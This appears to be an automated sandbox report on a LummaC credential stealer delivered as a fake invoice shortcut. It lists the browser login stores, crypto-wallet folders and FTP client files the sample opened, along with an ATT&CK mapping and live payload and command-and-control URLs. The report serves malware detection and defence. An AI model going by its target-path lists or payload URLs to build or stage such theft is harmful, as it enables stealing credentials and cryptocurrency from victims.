Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH

Source: C:\Windows\SysWOW64\explorer.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3108211870.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3028941113.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3029295383.0000000002B09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3029187788.0000000002B08000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3028941113.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3030211011.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3053185280.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 4456, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: explorer.exe PID: 4456, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	23 Command and Scripting Interpreter	Logon Script (Windows)	412 Process Injection	13 Obfuscated Files or Information	Security Account Manager	157 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	341 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 DLL Side-Loading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	131 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
InvoiceNr274728.pdf.lnk	13%	ReversingLabs	Shortcut.Trojan.Cross

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ixxqhy	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\jetpackhandler[1]	18%	ReversingLabs	Win32.Trojan.Midie
C:\Users\user\AppData\Local\Temp\msvcr90.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\pyexec.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\python27.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DebugCloud\msvcr90.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DebugCloud\python27.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://abrasigehs.my/k	100%	Avira URL Cloud	malware
https://abrasigehs.my/apiPk	100%	Avira URL Cloud	malware
https://agrizone.a	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/	0%	Avira URL Cloud	safe
https://abrasigehs.my/c	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/	0%	Avira URL Cloud	safe
https://abrasigehs.my/d	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX.e	0%	Avira URL Cloud	safe
https://agrizone.ae	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-conte	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-co	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerProcess	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerpDa	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler-	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerW6432=C:	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJ	0%	Avira URL Cloud	safe
https://abrasigehs.my/	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJC	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JI	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX.ex	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerhttps://agrizone.ae/wp	0%	Avira URL Cloud	safe
https://abrasigehs.my/9J	100%	Avira URL Cloud	malware
https://abrasigehs.my/qqBYYD	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCB	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modu	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jet	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-con	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-	0%	Avira URL Cloud	safe
https://abrasigehs.my/api	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpa	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerP	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerC:	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerZ	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-c	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/KlarnaInvoice42611.pdf	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlere	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/p	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/je	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerTrue	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/lik	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIK	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugin	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler8	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/	0%	Avira URL Cloud	safe
https://abrasigehs.my/J	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerF	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modul	0%	Avira URL Cloud	safe
https://abrasigehs.my/pi	100%	Avira URL Cloud	malware
https://agrizone.ae/wp	0%	Avira URL Cloud	safe
https://abrasigehs.my/apiEAyUo	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerH	0%	Avira URL Cloud	safe
https://agrizone.ae/w	0%	Avira URL Cloud	safe
https://agrizone.ae/	0%	Avira URL Cloud	safe
abrasigehs.my	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpack/module	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler$global:?	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/pl	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/l	0%	Avira URL Cloud	safe
https://abrasigehs.my/apier	100%	Avira URL Cloud	malware
https://agrizone.ae/wp-content/plugins/jetpack/modules	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plu	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBE	0%	Avira URL Cloud	safe
https://agrizone.ae/wp-content/plugins/jetpack/modules/li	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
agrizone.ae	208.91.198.106	true	true	unknown
abrasigehs.my	104.21.64.1	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
sordid-snaked.cyou	false		high
deafeninggeh.biz	false		high
effecterectz.xyz	false		high
wrathful-jammy.cyou	false		high
https://abrasigehs.my/api	true	Avira URL Cloud: malware	unknown
awake-weaves.cyou	false		high
immureprech.biz	false		high
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/KlarnaInvoice42611.pdf	true	Avira URL Cloud: safe	unknown
debonairnukk.xyz	false		high
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler	true	Avira URL Cloud: safe	unknown
abrasigehs.my	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://abrasigehs.my/k	explorer.exe, 00000016.00000002.3109091243.0000000002B09000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/plugins/jetpack/	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-conte	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.vmware.com/0	pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.a	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://abrasigehs.my/apiPk	explorer.exe, 00000016.00000003.3024596467.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3052546046.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3024357079.0000000005785000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	false		high
https://abrasigehs.my/d	explorer.exe, 00000016.00000003.3107104829.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3110531498.000000000578A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.microsoft	powershell.exe, 00000007.00000002.2423429280.00000192D4E60000.00000004.00000020.00020000.00000000.sdmp	false		high
